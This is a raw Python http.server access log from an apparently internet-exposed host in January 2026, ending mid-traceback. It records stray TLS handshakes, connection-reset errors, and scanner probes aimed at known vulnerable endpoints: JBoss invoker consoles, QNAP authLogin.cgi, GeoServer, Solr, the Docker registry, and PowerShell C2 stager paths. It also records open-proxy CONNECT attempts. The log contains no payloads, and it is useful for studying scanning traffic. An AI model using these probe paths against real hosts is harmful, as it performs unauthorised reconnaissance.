Bad request syntax ('\\x16\\x03\\x03\\x01¥\\x01\\x00\\x01¡\\x03\\x03ÔþzÀd\\x114ò¥Þ') +104.236.75.167 - - [11/Jan/2026 07:10:27] "\x16\x03\x03\x01¥\x01\x00\x01¡\x03\x03ÔþzÀd\x114ò¥Þ" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:28] code 400, message Bad request syntax ("\\x16\\x03\\x03\\x01¥\\x01\\x00\\x01¡\\x03\\x03\\x10jvi´Ô\\x02å7:²Zh:¤\\x80/Úä\\x0eQ'4ð") +104.236.75.167 - - [11/Jan/2026 07:10:28] "\x16\x03\x03\x01¥\x01\x00\x01¡\x03\x03\x10jvi´Ô\x02å7:²Zh:¤\x80/Úä\x0eQ'4ð" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:28] code 400, message Bad request version ('(6å|\\x17\\x02G1~\\x8dÍ\\x1a-æP\\x00FÀ\\x12À\\x07Ì\\x14\\x13\\x01\\x13\\x02Ì©ÀsÀrÀ,À¯À\\xadÀ$À') +104.236.75.167 - - [11/Jan/2026 07:10:28] "\x16\x03\x03\x01V\x01\x00\x01R\x03\x03ì\x9bNÒ\x0f96¥Q¿«\\\x0c²e^0~8{\x97b4\x8dǯ\x11Ã¥\x969\x1f OªA§\x91#\x9dU\x0bûXÜ8³px (6å|\x17\x02G1~\x8dÍ\x1a-æP\x00FÀ\x12À\x07Ì\x14\x13\x01\x13\x02Ì©ÀsÀrÀ,À¯À­À$À" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:28] code 400, message Bad HTTP/0.9 request type ("\\x16\\x03\\x03\\x01H\\x01\\x00\\x01D\\x03\\x03ÐH\\x8deÿ]h\\\\\\x82N\\x99%ï\\x86èÿNôàã\\x83}½r\\x14\\x11À\\x8f¨Y'ò") +104.236.75.167 - - [11/Jan/2026 07:10:28] "\x16\x03\x03\x01H\x01\x00\x01D\x03\x03ÐH\x8deÿ]h\\\x82N\x99%ï\x86èÿNôàã\x83}½r\x14\x11À\x8f¨Y'ò \x05\x14¯gâ" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:28] code 400, message Bad request version ("{®\\x9a3GKϽK\\x00\\x8c\\x9a\\x9aÀ\\x12À\\x13À\\x07À'Ì\\x14À/\\x13\\x01À\\x14\\x13\\x02À(Ì©À0ÀsÀ`ÀrÀaÀ,ÀvÀ¯ÀwÀ\\xad̨À$\\x13\\x05À") +104.236.75.167 - - [11/Jan/2026 07:10:28] "\x16\x03\x03\x01\x99\x01\x00\x01\x95\x03\x03²øèi\x0f\x1eÂËC\x1fËöÃU§9\x89\x19ÃL\x81\x05m\x0c\x92\x12\x82]ªÁºú \x03äB\x8f¹\x08Ýk\x8ag5¶\x94{ÝÁÌ,\x90îûE\x09{®\x9a3GKϽK\x00\x8c\x9a\x9aÀ\x12À\x13À\x07À'Ì\x14À/\x13\x01À\x14\x13\x02À(Ì©À0ÀsÀ`ÀrÀaÀ,ÀvÀ¯ÀwÀ­Ì¨À$\x13\x05À" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:29] code 400, message Bad request version ('%°ôÌ') +104.236.75.167 - - [11/Jan/2026 07:10:29] "\x16\x03\x02\x01\x9a\x01\x00\x01\x96\x03\x02M\x19æï\x0cË\x9e)\x07±L4K°è\x9bµëãf>\x93\x16#0uP=£ýÍ\x16 \x1c%°ôÌ" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:29] code 400, message Bad request version ('À#À¬À®À+À') +104.236.75.167 - - [11/Jan/2026 07:10:29] "\x16\x03\x01\x01§\x01\x00\x01£\x03\x03OOçñÝ=K³£ÎÝ-$K¥J²ål\x03p\x86\x1aAÐùÛ@+QÇ\x9f \x05§b¸\x87\x12pmlx\x9e}ï\x83¤\x1b\x1d7 \x92\x09^\x19JrÚ0J\x92ñÆ)\x00\x8a\x00\x16\x003\x00gÀ\x9eÀ¢\x00\x9e\x009\x00kÀ\x9fÀ£\x00\x9f\x00E\x00¾\x00\x88\x00Ä\x00\x9aÀ\x08À\x09À#À¬À®À+À" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:29] code 400, message Bad request version ('À\\x9c\\x00<\\x00/\\x00') +104.236.75.167 - - [11/Jan/2026 07:10:29] "\x16\x03\x01\x01§\x01\x00\x01£\x03\x03oa}'\x8d\x93\x1d\x9c"¸b­N®­e®\x0e¤íT WTï~\x87õ¢ÃòРܽ5Ó8\x06ª{69\x00\x8bÂÔ\x8f\x08'f"\x15-:\x9b\x8d\x16»ã\x1cRêc8\x00\x8a\x00\x05\x00\x04\x00\x07\x00À\x00\x84\x00º\x00A\x00\x9dÀ¡À\x9d\x00=\x005\x00\x9cÀ À\x9c\x00<\x00/\x00" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:30] code 400, message Bad request version ('À#À¬À®À+À') +104.236.75.167 - - [11/Jan/2026 07:10:30] "\x16\x03\x01\x01\x9d\x01\x00\x01\x99\x03\x03cÜ­G\x83Úô:\x80­åæu|ï\x7f\x05`§:òϰ\x11ª=-\x0c¢á/Ç \x91;\x9d\x98\x92líì\x8b×\x85:\x19¥\x19а\x9a×ÎÂ\x91ù³0\x04\x02ø\x0dÕ¤_\x00\x80\x00\x16\x003\x00gÀ\x9eÀ¢\x00\x9e\x009\x00kÀ\x9fÀ£\x00\x9f\x00E\x00¾\x00\x88\x00Ä\x00\x9aÀ\x08À\x09À#À¬À®À+À" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:30] code 400, message Bad request version ('MÛá²q') +104.236.75.167 - - [11/Jan/2026 07:10:30] "\x16\x03\x01\x01´\x01\x00\x01°\x03\x03jl?ÄWá-\x81BÜ\x04Þ8\x7f·©0sý `¥é³âÐ1,\x7f\x16P\x97 \x8dÜÝÒA\x016Ìͤ½4\x12¬ÿ,\x88\x0bMÛá²q" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:30] code 400, message Bad request version ('À\\x13À') +104.236.75.167 - - [11/Jan/2026 07:10:30] "\x16\x03\x01\x00ú\x01\x00\x00ö\x03\x03òÒ\x1dT\x8aHO\x8cf\x84³\\­èé)£ÁÉ.\x15^\x09cw\x84\x01Z¯\x80\x0bà ¤·½\x02Â×ëçý\x01\x83Îצ¡pÍ\x93VÂ\x9a \x95j2\x1dô5Ø¢Ä0\x002À+À/À,À0̨̩À\x09À\x13À" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:30] code 400, message Bad request version ('\\x11D\\x7fá°1í\\x04(4\\\\\\x1b:\\x9a\\x18å\\\\IR\\x88Yº²\\x9c\\x86\\x93fè:\\x17f\\x82\\x00\\x06\\x13\\x01\\x13\\x02\\x13\\x03\\x01\\x00\\x00{\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00') +104.236.75.167 - - [11/Jan/2026 07:10:30] "\x16\x03\x01\x00Î\x01\x00\x00Ê\x03\x03öëLÃÚv'Cí¶-J~F]\x13\x1er\x88\x14S¤D\x1d@>é9(¾Vý \x11D\x7fá°1í\x04(4\\\x1b:\x9a\x18å\\IR\x88Yº²\x9c\x86\x93fè:\x17f\x82\x00\x06\x13\x01\x13\x02\x13\x03\x01\x00\x00{\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00" 400 - +64.62.156.152 - - [11/Jan/2026 07:15:42] code 400, message Bad request version ('À\\x14À') +64.62.156.152 - - [11/Jan/2026 07:15:42] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03ö\x17"Ù\x9f\x9bÏáòª\x05Ùrµ\x09\x14´\x0d^®È\x85\x83n\x11Ú2xB(D4\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +204.76.203.212 - - [11/Jan/2026 07:41:30] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [11/Jan/2026 09:11:27] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [11/Jan/2026 09:11:27] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [11/Jan/2026 09:11:27] code 400, message Bad request version ('encoding="UTF-8"?>') +45.194.92.18 - - [11/Jan/2026 09:11:27] "1111\x0c\x01\x00\x00\x04\x00\x00\x01\x1b\x09\x00\x00\x02\x01\x00\x00ü\x00\x00\x00admin\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00queryBasicCfg\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 - +45.194.92.18 - - [11/Jan/2026 09:11:27] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [11/Jan/2026 09:11:27] code 404, message File not found +45.194.92.18 - - [11/Jan/2026 09:11:27] "GET /index.htm HTTP/1.1" 404 - +45.194.92.18 - - [11/Jan/2026 09:11:27] code 400, message Bad request version ('À\\x13À') +45.194.92.18 - - [11/Jan/2026 09:11:27] "\x16\x03\x01\x05¬\x01\x00\x05¨\x03\x03'ò7\x08J_\x03\x86°ÖÆÁ·Gª\x11l\x05\x010©Y´\x83öÉg¨ê\x97¹\x80 \x08ÓdRý\x8bi\x0eAr­pÐÉî\x1c=t\x19tÌi´ÈL\x1cF\x9cfÛä\x19\x00\x1aÀ+À/À,À0̨̩À\x09À\x13À" 400 - +45.194.92.18 - - [11/Jan/2026 09:11:28] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [11/Jan/2026 09:11:28] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [11/Jan/2026 09:11:29] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [11/Jan/2026 09:11:29] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +---------------------------------------- +Exception occurred during processing of request from ('66.132.153.58', 56762) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +66.132.153.58 - - [11/Jan/2026 09:37:34] "GET / HTTP/1.1" 200 - +66.132.153.58 - - [11/Jan/2026 09:37:37] code 400, message Bad request version ('À\\x14À') +66.132.153.58 - - [11/Jan/2026 09:37:37] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03ß>\x1cß\x13~T»Q\x98ç\x86Håý \x04ò»C\x9c{pXó\x85\x09\x9f\x12\x9cyÒ X\x13\x8a«\x03KÐ=ìs\x1cÝ\x85\x0f\x81\x04èÅ;¸¢\x16yiõ(\x98\\\x7fæ&¾\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.58 - - [11/Jan/2026 09:37:38] "GET / HTTP/1.1" 200 - +66.132.153.58 - - [11/Jan/2026 09:37:38] code 505, message Invalid HTTP version (2.0) +66.132.153.58 - - [11/Jan/2026 09:37:38] "PRI * HTTP/2.0" 505 - +66.132.153.58 - - [11/Jan/2026 09:37:38] code 404, message File not found +66.132.153.58 - - [11/Jan/2026 09:37:38] "GET /favicon.ico HTTP/1.1" 404 - +66.132.153.58 - - [11/Jan/2026 09:37:41] code 400, message Bad request version ('À\\x14À') +66.132.153.58 - - [11/Jan/2026 09:37:41] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03KÅ´\x90Ï\x00O+:Ò\x0fp\x98\x7f\x94>Å\x9a7r¾Òl`î\x91ß·ßaú¤ \x1b²{\x08Á=\x05Ar#\x91X\x99\x81\x83#\x80\x1d\x01}\x0eÓúFÀ=\x1e¤ÝQ̱\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.58 - - [11/Jan/2026 09:37:42] code 404, message File not found +66.132.153.58 - - [11/Jan/2026 09:37:42] "GET /wiki HTTP/1.1" 404 - +204.76.203.212 - - [11/Jan/2026 09:48:02] "GET / HTTP/1.1" 200 - +45.188.150.125 - - [11/Jan/2026 09:57:15] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('167.94.138.161', 13184) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +167.94.138.161 - - [11/Jan/2026 10:35:48] code 400, message Bad request version ('\\x04T·Cîd\\x89ï+¤±(\\x84ñµ8ÒXÍ=') +167.94.138.161 - - [11/Jan/2026 10:35:48] "\x00\x01n\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03?\x129Ý\x82\x8a\x9dÒ1L\x9b~\x94{¢\x0bN \x12}äªÙdh$èD»\x8fÅ! \x1e\x04T·Cîd\x89ï+¤±(\x84ñµ8ÒXÍ=" 400 - +---------------------------------------- +Exception occurred during processing of request from ('167.94.138.161', 26026) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +---------------------------------------- +Exception occurred during processing of request from ('167.94.138.161', 55320) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +204.76.203.212 - - [11/Jan/2026 11:51:32] "GET / HTTP/1.1" 200 - +64.62.197.62 - - [11/Jan/2026 12:59:36] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x00\\x90\\x01\\x00\\x00\\x8c\\x03\\x03z\\x08XC\\x13\\x07Ü~âõâÐ0Qz') +64.62.197.62 - - [11/Jan/2026 12:59:36] "\x16\x03\x01\x00\x90\x01\x00\x00\x8c\x03\x03z\x08XC\x13\x07Ü~âõâÐ0Qz\x0b\x98" 400 - +184.105.247.254 - - [11/Jan/2026 13:48:33] "GET / HTTP/1.1" 200 - +184.105.247.235 - - [11/Jan/2026 13:49:00] code 404, message File not found +184.105.247.235 - - [11/Jan/2026 13:49:00] "GET /favicon.ico HTTP/1.1" 404 - +184.105.247.244 - - [11/Jan/2026 13:49:22] code 404, message File not found +184.105.247.244 - - [11/Jan/2026 13:49:22] "GET http://api.ipify.org/?format=json HTTP/1.1" 404 - +184.105.247.235 - - [11/Jan/2026 13:49:32] code 501, message Unsupported method ('CONNECT') +184.105.247.235 - - [11/Jan/2026 13:49:32] "CONNECT www.shadowserver.org:443 HTTP/1.1" 501 - +184.105.247.254 - - [11/Jan/2026 13:49:42] code 404, message File not found +184.105.247.254 - - [11/Jan/2026 13:49:42] "GET /geoserver/web/ HTTP/1.1" 404 - +20.84.145.58 - - [11/Jan/2026 14:06:44] code 400, message Bad request syntax ('MGLNDD_83.222.24.31_8080') +20.84.145.58 - - [11/Jan/2026 14:06:44] "MGLNDD_83.222.24.31_8080" 400 - +---------------------------------------- +Exception occurred during processing of request from ('165.227.160.212', 48417) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +165.227.160.212 - - [11/Jan/2026 15:41:04] "GET / HTTP/1.0" 200 - +134.122.91.196 - - [11/Jan/2026 15:41:04] code 404, message File not found +134.122.91.196 - - [11/Jan/2026 15:41:04] "GET /solr/admin/info/system HTTP/1.1" 404 - +157.230.109.221 - - [11/Jan/2026 15:41:04] code 400, message Bad request version ('eÕÈ\\x00ïIÍi\\x840²n\\x82Q\\x87ÏCþ') +157.230.109.221 - - [11/Jan/2026 15:41:04] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03dL\x8e\x1cÝøHÓÒÝ\x02i\x1bü\x1d\x14\x17\x91ß\x88\x13S\x89ÀÉ~\x03ß\x8dp&s eÕÈ\x00ïIÍi\x840²n\x82Q\x87ÏCþ" 400 - +159.89.9.41 - - [11/Jan/2026 15:41:04] "GET / HTTP/1.1" 200 - +138.68.64.231 - - [11/Jan/2026 15:41:04] code 404, message File not found +138.68.70.41 - - [11/Jan/2026 15:41:04] code 404, message File not found +138.68.64.231 - - [11/Jan/2026 15:41:04] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 - +138.68.70.41 - - [11/Jan/2026 15:41:04] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 - +138.68.64.231 - - [11/Jan/2026 15:41:04] code 404, message File not found +138.68.64.231 - - [11/Jan/2026 15:41:04] "GET /v2/_catalog HTTP/1.1" 404 - +134.122.91.196 - - [11/Jan/2026 15:41:04] code 404, message File not found +134.122.91.196 - - [11/Jan/2026 15:41:04] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 404 - +157.230.109.221 - - [11/Jan/2026 15:41:04] code 400, message Bad request version ('À\\x13À') +157.230.109.221 - - [11/Jan/2026 15:41:04] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03µÇúÕ\x8fkÜÖh¶yóoZ\x90\x8ciÿ#Ä\x04^äãÓ\x08Ø\x01Öì®õ 6}8\x12ôùPºº©b\x8cèÊcr>Í!(ÖEØ>(\x82 àÉ\x8c\x95Ä\x00&À+À/À,À0̨̩À\x09À\x13À" 400 - +104.248.45.3 - - [11/Jan/2026 15:41:04] "GET / HTTP/1.1" 200 - +104.248.45.3 - - [11/Jan/2026 15:41:04] code 400, message Bad request version ('À\\x13À') +104.248.45.3 - - [11/Jan/2026 15:41:04] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03húÌ\x9d¼,×¢¯4Ô\x00`|\x03B\x89XZ£ÒOyB\x0fCz¨Æí|H %ÁðxÁðdªt\x87päqp°\x02)\x19_M§à×\\õ³\x9aã\x19CçO\x00&À+À/À,À0̨̩À\x09À\x13À" 400 - +157.245.156.89 - - [11/Jan/2026 15:41:05] code 404, message File not found +157.245.156.89 - - [11/Jan/2026 15:41:05] "GET /favicon.ico HTTP/1.1" 404 - +173.197.14.231 - - [11/Jan/2026 17:18:02] code 404, message File not found +173.197.14.231 - - [11/Jan/2026 17:18:02] "HEAD /invoker/EJBInvokerServlet HTTP/1.1" 404 - +173.197.14.231 - - [11/Jan/2026 17:18:05] code 404, message File not found +173.197.14.231 - - [11/Jan/2026 17:18:05] "HEAD /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1" 404 - +173.197.14.231 - - [11/Jan/2026 17:18:07] code 404, message File not found +173.197.14.231 - - [11/Jan/2026 17:18:07] "HEAD /invoker/JMXInvokerServlet HTTP/1.1" 404 - +173.197.14.231 - - [11/Jan/2026 17:18:09] code 404, message File not found +173.197.14.231 - - [11/Jan/2026 17:18:09] "HEAD /web-console/ServerInfo.jsp HTTP/1.1" 404 - +45.194.92.24 - - [11/Jan/2026 18:05:18] code 404, message File not found +45.194.92.24 - - [11/Jan/2026 18:05:18] "GET /geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0 HTTP/1.1" 404 - +45.194.92.12 - - [11/Jan/2026 18:10:23] code 404, message File not found +45.194.92.12 - - [11/Jan/2026 18:10:23] "GET /geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0 HTTP/1.1" 404 - +54.196.174.212 - - [11/Jan/2026 18:12:34] "GET / HTTP/1.1" 200 - +45.194.92.12 - - [11/Jan/2026 18:25:34] code 404, message File not found +45.194.92.12 - - [11/Jan/2026 18:25:34] "GET /geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0 HTTP/1.1" 404 - +204.76.203.212 - - [11/Jan/2026 18:33:28] "GET / HTTP/1.1" 200 - +65.49.1.24 - - [11/Jan/2026 18:54:05] "GET / HTTP/1.1" 200 - +65.49.1.36 - - [11/Jan/2026 18:54:32] code 404, message File not found +65.49.1.36 - - [11/Jan/2026 18:54:32] "GET /favicon.ico HTTP/1.1" 404 - +3.13.137.35 - - [11/Jan/2026 19:59:52] code 404, message File not found +3.13.137.35 - - [11/Jan/2026 19:59:52] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 - +3.18.186.238 - - [11/Jan/2026 20:01:05] code 404, message File not found +3.18.186.238 - - [11/Jan/2026 20:01:05] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 - +40.119.26.30 - - [11/Jan/2026 20:14:01] "GET / HTTP/1.1" 200 - +40.119.26.30 - - [11/Jan/2026 20:14:01] code 400, message Bad request syntax ('MGLNDD_83.222.24.31_8080') +40.119.26.30 - - [11/Jan/2026 20:14:01] "MGLNDD_83.222.24.31_8080" 400 - +172.104.11.34 - - [11/Jan/2026 20:16:50] "GET / HTTP/1.1" 200 - +5.181.0.133 - - [11/Jan/2026 20:18:03] code 501, message Unsupported method ('CONNECT') +5.181.0.133 - - [11/Jan/2026 20:18:03] "CONNECT 193.149.189.126:7227 HTTP/1.1" 501 - +79.185.51.124 - - [11/Jan/2026 20:51:55] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [11/Jan/2026 21:03:39] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('167.94.138.196', 49066) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +---------------------------------------- +Exception occurred during processing of request from ('167.94.138.196', 35798) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +167.94.138.196 - - [11/Jan/2026 22:13:40] code 400, message Bad request syntax ('\\x10\\x12\\x00\\x04MQTT\\x04\\x00\\x00') +167.94.138.196 - - [11/Jan/2026 22:13:40] "\x10\x12\x00\x04MQTT\x04\x00\x00" 400 - +---------------------------------------- +Exception occurred during processing of request from ('167.94.138.196', 63960) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +---------------------------------------- +Exception occurred during processing of request from ('167.94.138.196', 10448) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +204.76.203.212 - - [11/Jan/2026 22:17:48] "GET / HTTP/1.1" 200 - +79.133.126.183 - - [11/Jan/2026 22:22:26] code 404, message File not found +79.133.126.183 - - [11/Jan/2026 22:22:26] "GET /geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0 HTTP/1.1" 404 - +159.89.126.49 - - [11/Jan/2026 23:42:35] code 400, message Bad request version ('À\\x14À') +159.89.126.49 - - [11/Jan/2026 23:42:35] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03¢î\x87\x0d\x7f\x94+öïX(ù÷@zxKGQ½\x1a\x92ÐQE\x0dØÆÏôyw\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +159.89.126.49 - - [11/Jan/2026 23:42:35] code 400, message Bad request version ('À\\x14À') +159.89.126.49 - - [11/Jan/2026 23:42:35] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03b@\x19\x13)G\x7fáÍÝS\x1dÊ[<¤ÌÒ\x1c0¼dÜìc_âÀª8Yg\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +159.89.126.49 - - [11/Jan/2026 23:42:35] "GET / HTTP/1.1" 200 - +159.89.126.49 - - [11/Jan/2026 23:42:36] code 404, message File not found +159.89.126.49 - - [11/Jan/2026 23:42:36] "GET /download/powershell/ HTTP/1.1" 404 - +159.89.126.49 - - [11/Jan/2026 23:42:36] code 404, message File not found +159.89.126.49 - - [11/Jan/2026 23:42:36] "GET /get.php HTTP/1.1" 404 - +134.209.165.9 - - [12/Jan/2026 00:05:48] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('176.109.71.168', 56159) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File 